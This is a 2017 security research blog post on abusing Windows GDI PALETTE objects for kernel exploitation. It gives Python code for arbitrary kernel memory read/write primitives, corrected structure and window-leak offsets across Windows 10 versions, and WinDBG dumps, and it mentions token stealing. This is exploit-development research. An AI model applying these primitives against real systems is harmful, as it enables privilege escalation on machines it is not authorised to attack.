Tuesday, October 31, 2017

Abusing GDI objects for kernel exploitation - PALETTE and various offsets

I started to dig into the topic of abusing GDI objects for Windows kernel exploitation about two weeks ago, and finally get to the PALETTEs. There are many documentation about BITMAPs so I don’t really want to write about those, but there has been little write-ups about PALETTEs. There are three that I relied on during my research:

I decided to implement PALETTE read-write primitives for my kex Python library, and this post is about how did I do that. Basically we need the following info:
  1. What is their size and offset?
  2. How to create them?
  3. How to read / write with them?
Every document I read showed the following structure outline:

typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;    // 0x00
    FLONG           flPal;         // 0x18
    ULONG32           cEntries;      // 0x1C
    ULONG32           ulTime;        // 0x20 
    HDC             hdcHead;       // 0x24
    ULONG64        hSelected;     // 0x28, 
    ULONG64           cRefhpal;      // 0x30
    ULONG64          cRefRegular;   // 0x34
    ULONG64      ptransFore;    // 0x3c
    ULONG64      ptransCurrent; // 0x44
    ULONG64      ptransOld;     // 0x4C
    ULONG32           unk_038;       // 0x38
    ULONG64         pfnGetNearest; // 0x3c
    ULONG64   pfnGetMatch;   // 0x40
    ULONG64           ulRGBTime;     // 0x44
    ULONG64       pRGBXlate;     // 0x48
    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90
}

What is important from this is the full size of the structure, which is 0x90 (that is the offset to the PALETTEENTRY array) and the offset to pFirstColor, which points to the array, and this is the pointer that will need to be overwritten to get the read / write primitives. This is at offset 0x80 at every documentation I saw so far, and what you can read everywhere is that this technique works up to Windows10 v1709 (RS3) - and maybe even later, but we don’t know that yet.

The size of the entire object without the POOL_HEADER is basically this PALETTE64 structure + the PALETTEENTRY array. One PALETTEENTRY is 4 bytes as we can see (this will be important later):

class PALETTEENTRY(Structure):
 _fields_ = [
  ("peRed", BYTE),
  ("peGreen", BYTE),
  ("peBlue", BYTE),
  ("peFlags", BYTE)
 ]

There is a nice implementation made by Sebastian Apelt from Siberas (see the link above), which I also used as my base in my Python implementation. To create a PALETTE, there is a simple API call:

HPALETTE CreatePalette(
  _In_ const LOGPALETTE *lplgpl
);

where LOGPALETTE looks like this:

class LOGPALETTE(Structure):
 _fields_ = [
  ("palVersion", WORD),
  ("palNumEntries", WORD),
  ("palPalEntry", POINTER(PALETTEENTRY))
 ]

So essentially to create a PALETTE, we need to calculate the size, populate the structure, and call the API, somehow like this:

pal_cnt = (size - palette_entries_offset) / 4
lPalette = LOGPALETTE()
lPalette.palNumEntries = pal_cnt
lPalette.palVersion = 0x300
palette_handle = gdi32.CreatePalette(byref(lPalette))

As the PALETTEENTRY is 4 bytes, we need to calculate the proper number of entries required for us to reserve the proper size.

Once we have this, we can start read / write, once we overwritten the manager’s palette pFirstColor pointer. To perform these actions we can use the following functions.

UINT GetPaletteEntries(
  _In_  HPALETTE       hpal,
  _In_  UINT           iStartIndex,
  _In_  UINT           nEntries,
  _Out_ LPPALETTEENTRY lppe
);

UINT SetPaletteEntries(
  _In_       HPALETTE     hpal,
  _In_       UINT         iStart,
  _In_       UINT         cEntries,
  _In_ const PALETTEENTRY *lppe
);

These can be used just as we used GetBitmapBits / SetBitmapBits. There is an important difference, here we tell the function to read X number of PALETTEENTRYs, which is 4 bytes long. This means that if we want to read 8 bytes (an address in x64), we need to provide the value 2 - dividing the size by 4. That’s it, after that it’s essentially the same. Here is my Python implementation:

def set_address_palette(manager_platte_handle, address):
 address = c_ulonglong(address)
 gdi32.SetPaletteEntries(manager_platte_handle, 0, sizeof(address)/4, addressof(address));
 
def write_memory_palette(manager_platte_handle, worker_platte_handle, dst, src, len):
 set_address_palette(manager_platte_handle, dst)
 gdi32.SetPaletteEntries(worker_platte_handle, 0, len/4, src)

def read_memory_palette(manager_platte_handle, worker_platte_handle, src, dst, len):
 set_address_palette(manager_platte_handle, src)
 gdi32.GetPaletteEntries(worker_platte_handle, 0, len/4, dst)

and basically that’s it, essentially this will work the same as BITMAPs. You can leak the kernel address of the object with Window objects just as we did with BITMAPs on Win10 v1703 (or earlier). This leak will also work on Win10 v1709.

Wish everything was so simple!

So I started to test this on Win10 v1511, and it worked for first! Nice! I was happy :) It took some time to build a Win10 v1709, so I went ahead and run the same exploit on Win10 v1607, and…. BSOD!! I run it again, and got BSOD again with POOL corruption. So I started to dig into what goes on as I was pretty sure I’m overwriting something wrong. Notice the problem?

0: kd> dc ffff89c9c4611000
ffff89c9`c4611000  7e08083b 00000000 00000000 00000000  ;..~............
ffff89c9`c4611010  d9c0a080 ffff910b 00000501 000003de  ................
ffff89c9`c4611020  00003868 00000000 00000000 00000000  h8..............
ffff89c9`c4611030  00000000 00000000 00000000 00000000  ................
ffff89c9`c4611040  00000000 00000000 00000000 00000000  ................
ffff89c9`c4611050  00000000 00000000 00000000 00000000  ................
ffff89c9`c4611060  00000002 00000001 00000000 00000000  ................
ffff89c9`c4611070  00000000 00000000 c4611088 ffff89c9  ..........a.....
ffff89c9`c4611080  c4611000 ffff89c9 00000000 00000000  ................

0: kd> !pool ffff89c9c4611000
Pool page ffff89c9c4611000 region is Unknown
ffff89c9c4611000 is not a valid large pool allocation, checking large session pool...
*ffff89c9c4611000 : large page allocation, tag is Gh08, size is 0x1010 bytes
  Pooltag Gh08 : GDITAG_HMGR_PAL_TYPE, Binary : win32k.sys

So this is the end of the PALETTE64 structure:

    PALETTEENTRY    *pFirstColor;  // 0x80
    struct _PALETTE *ppalThis;     // 0x88
    PALETTEENTRY    apalColors[3]; // 0x90

This doesn’t align with the output from WinDBG dump. So it turns out the new offsets are:

    PALETTEENTRY    *pFirstColor;  // 0x78
    struct _PALETTE *ppalThis;     // 0x80
    PALETTEENTRY    apalColors[3]; // 0x88

I didn’t check what is missing or what became smaller, but from Win10 v1607 this is the correct offset, including v1709.

Sweet, so now that is fixed, I got this working on v1607 and v1703, but it broke on v1709! It didn’t BSOD but I couldn’t leak the address anymore! What? Everyone said it works! Ok, let’s see the Window leak. The offsets changed there at version v1703, so there was a good chance they did again on v1709. Essentially:

Windows 10x64 v1607 and earlier (? - only tested back to v1511, not sure on Win8 or 7):
pcls = 0x98
lpszMenuNameOffset = 0x88

Windows10x64 v1703:
pcls = 0xa8
lpszMenuNameOffset = 0x90

Windows10x64 v1709:
pcls = 0xa8
lpszMenuNameOffset = 0x98

Once I fixed these as well, all started to work.

I checked and the structure offsets required for token stealing didn’t change, so essentially that was all.

Structure offsets change too often, and sometimes it’s not easy to track them down, essentially this is one of the reasons I’m trying to make 'kex' and hardcode all these offsets, so I can make OS independent exploits. With the current version you can essentially call these functions on version of Win10x64 and get it work reliably. Link: GitHub - theevilbit/kex

In order to make it easier for people contributing to offsets, and also make it easier for those, who want to code the same in different languages, I’m starting an offset table on the same GitHub repo. Directly: OFFSETS.md

No comments: